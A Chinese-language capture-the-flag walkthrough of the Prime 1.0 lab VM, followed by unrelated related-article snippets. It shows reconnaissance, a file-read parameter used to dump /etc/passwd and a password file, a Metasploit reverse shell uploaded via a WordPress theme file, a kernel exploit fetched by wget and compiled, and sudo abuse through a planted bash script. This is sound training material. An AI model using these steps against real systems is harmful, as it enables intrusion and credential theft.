Prime 1.0
信息收集
存活主机探测
arp-scan -l

或者利用nmap
nmap -sT --min-rate 10000 192.168.217.133 -oA ./hosts

可以看到存活主机IP地址为:192.168.217.134
端口探测
nmap -sT -p- 192.168.217.134 -oA ./ports

UDP端口探测

详细服务等信息探测

开放端口22,ssh,版本为openssh 7.2p2
80端口,开放了http服务。
漏洞脚本探测
nmap -sT --script=vuln -p22,80 192.168.217.134 -oA ./vuln

这里在进行漏洞脚本探测的时候发现了相关信息!
存在wordpress!好像是还存在一个低速的DDOS攻击(这个就没什么用了)。
WEB渗透测试
经过上面的信息收集,我们收集到了靶机开放的端口存在两个 ,分别是22和80端口,所以我们的突破口应该就是在80上了,尝试访问服务:

只有一张图片,查看了源码,什么都没有的!
上面经过信息收集得到了该靶机上存在着wordpress!所以我们尝试访问一下(同时进行一下目录扫描吧):

尝试了最经常的弱口令,但是并没有登陆成功!
目录爆破
目录扫描结果如下:

尝试访问一下这几个目录吧先,不知道扫描的结果全不全,还是再利用其他的目录扫描工具,扫一遍:

扫描结果差不多。
访问一下上面扫描得到的路径吧:
/dev

大概的意思就是我们现在刚开始,我们应该利用我们的工具深入的进行渗透测试(红色代表:做过一遍之后,看大佬的讲解,重新编写,补充内容)
这里没看到very hard的含义,有忽略;所以导致了没有了攻击面;(这里使用dirb等工具进行目录扫描的时候,其实默认是不会扫描txt zip等后缀的!)
这里可以使用自己的字典去尝试,或者使用dirb -X 参数扫描指定后缀的敏感文件。
补充:
dirb扫描结果:

出现一个secret.txt文件!

(看起来你已经得到了一些秘密,ok 我仅仅是想帮助你下,在你找到的每一个php页面进行模糊测试,如果你得到了正确的参数的话,就看下一步,如果你遇到了阻碍的话,就看看下面的这个工具)
模糊测试

javascript目录是禁止访问的!
这里之前做过DC-2,当时web服务器上运行的服务同样是wordpress,当时利用了一个wordpress的工具,wpscan。这里同样进行一下测试:
wpscan --url http://192.168.217.134/wordpress/

出来了很多的信息!

wp-cron.php

源码里面是空的,啥也没有
upload目录下:

xmlrpc.php

wordpress的版本是5.2.2版本,网上找一下公开的漏洞:
利用-e参数来枚举wordpress中存在的用户:

得到了一个用户victor;利用crew爬取网站上的密码!
到这里没思路了,上面提到了爆破,感觉还是漏了什么东西,拿着自己的字典重新进行了目录扫描:
果然出现了新的信息(secret.txt):

访问下看看把:

果然还是又提示的!提示:“尝试在你得到的每一个php路径上fuzz参数”然后提供了一个工具!
使用这个工具进行参数的fuzz:
我们得到的php文件分别有:
image.php
index.php
/wordpress/wp-login.php
分别对这三个php进行参数的爆破!
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -c -u http://192.168.217.134/index.php?FUZZ
-c:高亮显示

得到了很多的payload,我们利用回显的word长度的不同进行过滤:
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -c -u http://192.168.217.134/index.php?FUZZ --hw 12

发现了参数file!上面的提示还说了我们可以尝试看一下location.txt文件,看到出来的file参数,大概就是个任意文件读取了!

发现确实存在回显!任意文件读取,尝试读取敏感文件/etc/passwd等,读之前我还是看了一眼源码,发现了更神奇的事情!

又提供给我们一个重要的参数!secrettier360!(在其他的php页面上使用secrettier360这个参数或许更有趣!)
还剩下两个php页面(image.php wordpress/wp-login.php)。
先试试image把:

如果是image页面,这个页面存在什么漏洞呢?(sql注入、任意文件读取、命令执行?)

传入index.php,发现页面回显index.php的源码!还是任意文件读取!
文件包含利用

发现了两个用户,其中一个用户,在上面的wpscan的时候就发现了(victor)还有一个saket用户(find password.txt file in my directory:/home/saket)
读一下/etc/shadow吧:(读不出东西来,估计是没权限了)
那就读一下/home/saket/password.txt吧:

获得了一个密码:follow_the_ippsec
试试ssh!

登陆不上,还是去web界面看下能不能登陆吧!
最终发现使用用户名victor!密码follow_the_ippsec能登陆!
(关于wordpress漏洞成功登陆后台之后,需要先尝试如下的这两个漏洞-经验)
- 插件上的文件上传漏洞,可以上传zip压缩包
- 主题编辑器上传漏洞
先尝试下插件上的文件上传漏洞,随便上传一个zip的文件即可(先判断是否可以上传)

不能上传插件,此漏洞走不通!
之后就是招主题编辑器上的漏洞,寻找是否存在可上传的文件;在Appearance中Theme Editor中找到了一个奇怪的文件:(secret.php)

获取后台权限
能上传文件!利用MSF上传一个反弹shell木马!
查看文件的内容:(并将其通过secret.php文件进行上传!)

上传:

上传成功之后我们利用MSF起一个监听器:
访问:http://192.168.217.134/wordpress/wp-content/themes/twentynineteen/secret.php

便会收到会话!

提权
拿到shell之后,进行相关的信息收集:

查看是否安装了python,整一个交互性bash:
dpkg -l | grep 'python'

有python的环境,利用python起一个有交互的bash:
python -c "import pty;pty.spawn('/bin/bash')"

查看相应的权限:

看到这个信息,要知道的是:存在用户saket,不需要密码,以root身份执行enc!

看一下/home目录下存在哪些用户,发现确实存在两个;一个是victor,另一个是saket

尝试切换到这两个用户的家目录下,看啊可能都存在什么东西,发现victor用户下无法执行!

成功拿到了第一个flag
之后尝试提权,利用内核版本漏洞进行提权:
uname -a

版本是4.10.0-28-generic 内核是16.04

将这个文件上传到靶机上!
本地起一个php服务器:
php -S 0:80

然后我们在靶机上切换到网站的根目录下 或者是 临时目录下(/tmp),利用wget下载我们攻击机上的45010(编译后的文件)
wget http://192.168.217.128/45010

同时我们下载一下未编译的源文件,避免我们在攻击机上编译的文件和靶机版本不同,导致无法执行!(确实是没有办法执行的,试过后写的),然后我查看了靶机上是否存在gcc,发现是存在的,所以我们直接在靶机上编译执行即可!

上面的这个问题就是说明我们的攻击机编译之后的文件,没法在靶机上执行,原因就是版本不一样,我们需要模拟和靶机同版本的环境下,编译源文件,然后传到靶机上执行!

需要给执行的权限!
chmod +x 45010.c
gcc 45010.c -o 45010-2
./45010-2

查看是否提成功:

python起交互shell:

root.txt中存在着最终的flag

同时发现了存在sql.py文件,里面存在着数据库的账号和密码:

wordpress.sql文件:

另一种提权的方法
MSF上线之后,通过sudo -l发现一条奇怪的权限:

可以以root的身份,执行/home/saket/enc,并且还不需要密码。
此时我们可以去看看这个enc是个文件夹还是可执行的文件:

发现这是一个可执行的文件!那么接下来我们可以尝试执行一下看看会发生什么!

尝试执行却需要输入密码,但是我们并不知道什么密码!那怎么办?(那就找找主机上的pass文件)
find / -name "*pass*" 2>/dev/null
//寻找带有pass的文件 并且如果有报错的话 就丢弃
//为什么要有这个2>/dev/null 是因为我们的权限并不是最高的 所以很多的目录 可能是拒绝访问的!

于是便找到了如下,自己觉得可能是敏感的pass文件:

找了一圈没找到,换个单词进行匹配:backup:

看起来这个好像是:

拿着这个密码回去执行文件看看行不行,应该是没问题的!(利用root权限执行enc文件)

输出了一个good之后没了???看看当前目录下是不是也会产生什么东西?

产生两个文件,其实大佬说上面看到这个enc文件就已经联想到了openssl加密,当看到enc.txt key.txt的时候就确定了这就和openssl联系起来了!

看了看这两个文件分别内容是什么。上面的enc好像是base64编码过的东西。下面的key是提示,让我们将“ippsec”转换为md5哈希值,然后获得我们想要的东西。
先听话转个MD5吧
echo -n 'ippsec' | md5sum #-n代表 在计算md5哈希值的时候,不要计算结尾的换行符 就是纯ippsec

这里还去掉了-n参数,显然和上面的加上-n之后 md5的哈希值完全不同!!!
显然后面还有两个空格和- ,我们优雅一点给他去掉!
echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}'

之后干什么?就是拿着这个哈希值作为key,利用openssl解密enc.txt看看他到底说了什么!
如何解密enc
echo -n 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -CypherType -k
解释一下各个参数:
首先就是 echo -n 代表输出原始字符串 通过管道符 给到openssl
然后就是 enc 代表使用enc命令
-d 解密
-a base64解密
-CypherType 就是openssl中的命令中的一个 一共98种 你需要判断上面的加密enc字符串是什么类型
-k 指定key

由于我们不知道加密enc字符串的类型是什么,所以利用最笨的方法就是遍历!我们将下面的消息摘要复制出来:

然后将没用的行、空格删除,在vim种利用dd直接删除一行,然后我们对整个的内容进行一个整理:
awk '{gsub(/ /,"\n");print}' xxx #其中的xxx是文件名 #利用awk 使用了gsub 全局替换!空格为换行

由于存在大量的空格,那么被替换之后,也就存在了大量的换行,针对这个我们可以进行排序,并且取唯一:
awk '{gsub(/ /,"\n");print}' xxx| sort | uniq

awk '{gsub(/ /,"\n");print}' xxx| sort | uniq | wc -l #排序 取唯一之后,利用wc -l统计行数

之后我们可以将我们处理好的数据,写入到一个文件中:
awk '{gsub(/ /,"\n");print}' xxx| sort | uniq > CipherType
之后我们仔细看一下openssl enc 的帮助:
openssl enc --help

-a 和 -base64的功能是一样的 ,就是base64的编码和解码

-K 代表着原始的key 还要使用使用十六进制编码!
关于如何转换为十六进制,我们可以利用od命令来转换!od(octal dump)主要用来转化八进制的,但是他也是可以转化其他的进制!
man od #查看od命令的帮助,需要制定参数-A 指定一个根 这里我们的原始的数据是md5的哈希值因此我们可以-A n 其实就是None

此外需要指定一个参数-t 输出的格式 可以看到下面有x2 或者是-x 但是这是两个字节的,我们需要是一个字节,也就是说我们指定 -t x1即可!

echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}' | od -A n -t x1

最下面存在一个0a,这其实就是一个换行符,所以我们将换行符都去掉!
echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}' | tr -d "\n"|od -A n -t x1
tr命令是 trip的意思,代表着修剪 -d参数代表着删除

之后我们再利用tr命令将换行和空格删除掉:
echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}' | tr -d "\n"|od -A n -t x1 | tr -d "\n"

echo -n 'ippsec' | md5sum |awk -F' ' '{print $1}' | tr -d "\n"|od -A n -t x1 | tr -d "\n" | tr -d " "

此时我们已经得到了原始的key!
3336366137346362336339353964653137643631646233303539316333396431
现在我们的命令差不多就写完了:
echo -n 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431

接下来就需要通过编写一个脚本来完成解密的任务:
for Cipher in $(cat CipherType);do xxxxxx;done
#其中通过for循环来遍历cat CipherType的结果
然后就是利用do 做某一件事,做的事情就是 openssl enc -d ....
done 就是做完了

但是我们发现爆出了很多的错误!看起来好像没有能成功解开的!这其实是openssl的一个bug,就是-n 到底什么时候指定的问题,这个没办法确定,只能通过试试才能确定!
现在将-n参数去掉再试试:

最终我们还需要改进一下我们的脚本,因为在运行的过程中爆出了很多的错误,同时我们还想知道他解密的时候到底用的是哪一个Cipher!
for Cipher in $(cat new_xx); do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null;echo $Cipher; done

可以看到他解密的时候用到的CipherType是aes-256-ecb
验证一下:

没什么问题哈!
之后利用这个密码,尝试ssh登录saket!

查看当前用户的权限:

同理我们还是尝试执行以下这个文件吧,还是和enc一样的,利用sudo权限直接执行吧:

如果你可以打败我,然后在你面前挑战我? 什么鬼? 下面出现了一个报错 说是/tmp/challenge没找到这个文件!
那我们自己给他新建一个,然后里面写入代码不就好了!
echo '#!/bin/bash' > challenge
echo '/bin/bash' >>challenge
chmod +x challenge
sudo /home/victor/undefeated_victor

最终提权成功!

相关文章:
Prime 1.0
信息收集 存活主机探测 arp-scan -l 或者利用nmap nmap -sT --min-rate 10000 192.168.217.133 -oA ./hosts 可以看到存活主机IP地址为:192.168.217.134 端口探测 nmap -sT -p- 192.168.217.134 -oA ./ports UDP端口探测 详细服务等信息探测 开放端口22&#x…...
Java 如何正确比较两个浮点数
看下面这段代码,将 d1 和 d2 两个浮点数进行比较,输出的结果会是什么? double d1 .1 * 3; double d2 .3; System.out.println(d1 d2);按照正常逻辑来看,d1 经过计算之后的结果应该是 0.3,最后打印的结果应该是 tru…...
Qt 如何操作SQLite3数据库?数据库创建和表格的增删改查?
# 前言 项目源码下载 https://gitcode.com/m0_45463480/QSQLite3/tree/main # 第一步 项目配置 平台:windows10 Qt版本:Qt 5.14.2 在.pro添加 QT += sql 需要的头文件 #include <QSqlDatabase>#include <QSqlError>#include <QSqlQuery>#include &…...
【Hadoop】分布式文件系统 HDFS
目录 一、介绍二、HDFS设计原理2.1 HDFS 架构2.2 数据复制复制的实现原理 三、HDFS的特点四、图解HDFS存储原理1. 写过程2. 读过程3. HDFS故障类型和其检测方法故障类型和其检测方法读写故障的处理DataNode 故障处理副本布局策略 一、介绍 HDFS (Hadoop Distribute…...
【Python-随笔】使用Python实现屏幕截图
使用Python实现屏幕截图 环境配置 下载pyautogui包 pip install pyautogui -i https://pypi.tuna.tsinghua.edu.cn/simple/下载OpenCV包 pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple/下载PyQT5包 pip install PyQt5 -i https://pypi.tuna.tsi…...
Sun Apr 16 00:00:00 CST 2023格式转换
Date date new Date(); log.info("当前时间为:{}",date); //yyyy-MM-dd HH:mm:ss SimpleDateFormat sdf new SimpleDateFormat(DateUtils.YYYY_MM_DD_HH_MM_SS); String dateTime s…...
使用mongodb实现简单的读写操作
本文适合初学者,特别是刚刚安装了mongodb数据库的朋友,或在atlas刚拿到免费集群的朋友。 拿到数据库,心情很激动,手痒难耐。特别想向数据库插入几条数据库试试。即使是深夜完成了安装,也忍不住想去完成这些操作。看到…...
C语言实现Cohen_Sutherland算法
前提简要: 算法简介: 编码算法是最早、最流行的线段裁剪算法,该算法采用区域检验的方法,能够快速有效地判断一条线段与裁剪窗口的位置关系,对完全接受或完全舍弃的线段无需求交,即可直接识别。 算法思想&…...
MySQL进阶_EXPLAIN重点字段解析
文章目录 第一节.准备1.1 版本信息1.2 准备 第二节.type2.1 system2.2 const2.3 eq_ref2.4 ref2.5 ref_or_null2.6 index_merge2.7 unique_subquery2.8 range2.9 index2.10 all 第三节. Extra3.1 No tables used3.2 No tables used3.3 Using where3.4 No matching min/max row3…...
视图层与模板层
视图层 1 视图函数 一个视图函数,简称视图,是一个简单的Python 函数,它接受Web请求并且返回Web响应。响应可以是一张网页的HTML内容,一个重定向,一个404错误,一个XML文档,或者一张图片. . . 是…...
MySQL数据库——触发器-案例(Insert类型、Update类型和Delete类型)
目录 表结构准备 插入数据触发器 代码 测试 修改数据触发器 代码 测试 删除数据触发器 代码 测试 通过触发器记录 tb_user 表的数据变更日志,将变更日志插入到日志表user_logs中,包含增加,修改,删除。 表结构准备 根据…...
快速创建桌面端(electron-egg)
介绍 | electron-egg electron-egg: 一个入门简单、跨平台、企业级桌面软件开发框架。 electron-egg是一个基于Electron和Egg.js的框架,可以用于快速构建跨平台的桌面应用程序。 1.兼容平台:electron-egg可以在Windows、MacOS和Linux等多个平台上运行…...
docker配置redis插件
docker配置redis插件 运行容器redis_6390 docker run -it \ --name redis_6390 \ --privileged \ -p 6390:6379 \ --network wn_docker_net \ --ip 172.18.12.19 \ --sysctl net.core.somaxconn1024 \ -e TIME_ZONE"Asia/Shanghai" -e TZ"Asia/Shanghai"…...
前端入口教程_web01
web标准 记得看! html:表示整个页面 head: titile: body: 常用标签 1.标题标签 2.段落标签 3.换行标签 4.文本格式化标签 5. 和 标签 6.图像标签 相对路径–用来插自己本地的图片 #### 绝对路径–用来插网上找的图…...
Win7 SP1 x64 Google Chrome 字体模糊
1 打开 Google Chrome ,地址栏输入 chrome://version/ ,字体模糊。 2 Microsoft Update Catalog 搜索更新 kb2670838,下载,安装,重启电脑。 3 打开 Google Chrome,地址栏输入 chrome://version/ ࿰…...
read()之后操作系统都干了什么
首先说明三个参数 file文件 buff从内存中开辟一段缓冲区用来接收读取的数据 size表示这个缓冲区的大小 有关file的参数: 状态:被打开 被关闭权限:可读可写最重要的是inode: 他包含了 文件的元数据(比如文件大小 文件类型 文件在访问前需要加…...
YoloV8改进策略:Swift Parameter-free Attention,无参注意力机制,超分模型的完美迁移
摘要 https://arxiv.org/pdf/2311.12770.pdf https://github.com/hongyuanyu/SPAN SPAN是一种超分网络模型。SPAN模型通过使用参数自由的注意力机制来提高SISR的性能。这种注意力机制能够增强重要信息并减少冗余,从而在图像超分辨率过程中提高图像质量。 具体来说,SPAN模…...
Python----练习:使用面向对象实现报名系统开发
第一步:分析哪些动作是由哪些实体发出的 学生提出报名 学生提供相关资料 学生缴费 机构收费 教师分配教室 班级增加学生信息 于是,在整个过程中,一共有四个实体:学生、机构、教师、班级!在现实中的一个具体的实…...
1.什么是html
1.什么是html什么是html? 一.基础信息 英文名字:HyperText Markup Language 中文名字:超文本标记语言 简称:html 文件格式:.htm 或 .html 结尾 作用:描述网页的语言。通过各种各样的标签,组…...
GeoServer漏洞(CVE-2023-25157)
前半部分是sql注入一些语句的测试,后面是漏洞的复现和利用 Sql注入漏洞 1.登入mysql。 2.查看默认数据库 3.使用mysql数据库 4.查看表 1.查看user 表 2.写注入语句 创建数据库 时间注入语句 布尔注入语句 报错注入语句 Geoserver漏洞ÿ…...
wordpress后台更新后 前端没变化的解决方法
使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…...
反向工程与模型迁移:打造未来商品详情API的可持续创新体系
在电商行业蓬勃发展的当下,商品详情API作为连接电商平台与开发者、商家及用户的关键纽带,其重要性日益凸显。传统商品详情API主要聚焦于商品基本信息(如名称、价格、库存等)的获取与展示,已难以满足市场对个性化、智能…...
《Qt C++ 与 OpenCV:解锁视频播放程序设计的奥秘》
引言:探索视频播放程序设计之旅 在当今数字化时代,多媒体应用已渗透到我们生活的方方面面,从日常的视频娱乐到专业的视频监控、视频会议系统,视频播放程序作为多媒体应用的核心组成部分,扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上,用户都期望…...
大语言模型如何处理长文本?常用文本分割技术详解
为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...
Java多线程实现之Callable接口深度解析
Java多线程实现之Callable接口深度解析 一、Callable接口概述1.1 接口定义1.2 与Runnable接口的对比1.3 Future接口与FutureTask类 二、Callable接口的基本使用方法2.1 传统方式实现Callable接口2.2 使用Lambda表达式简化Callable实现2.3 使用FutureTask类执行Callable任务 三、…...
(转)什么是DockerCompose?它有什么作用?
一、什么是DockerCompose? DockerCompose可以基于Compose文件帮我们快速的部署分布式应用,而无需手动一个个创建和运行容器。 Compose文件是一个文本文件,通过指令定义集群中的每个容器如何运行。 DockerCompose就是把DockerFile转换成指令去运行。 …...
docker 部署发现spring.profiles.active 问题
报错: org.springframework.boot.context.config.InvalidConfigDataPropertyException: Property spring.profiles.active imported from location class path resource [application-test.yml] is invalid in a profile specific resource [origin: class path re…...
在web-view 加载的本地及远程HTML中调用uniapp的API及网页和vue页面是如何通讯的?
uni-app 中 Web-view 与 Vue 页面的通讯机制详解 一、Web-view 简介 Web-view 是 uni-app 提供的一个重要组件,用于在原生应用中加载 HTML 页面: 支持加载本地 HTML 文件支持加载远程 HTML 页面实现 Web 与原生的双向通讯可用于嵌入第三方网页或 H5 应…...
Go 语言并发编程基础:无缓冲与有缓冲通道
在上一章节中,我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道,它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好࿰…...
Leetcode33( 搜索旋转排序数组)
题目表述 整数数组 nums 按升序排列,数组中的值 互不相同 。 在传递给函数之前,nums 在预先未知的某个下标 k(0 < k < nums.length)上进行了 旋转,使数组变为 [nums[k], nums[k1], …, nums[n-1], nums[0], nu…...
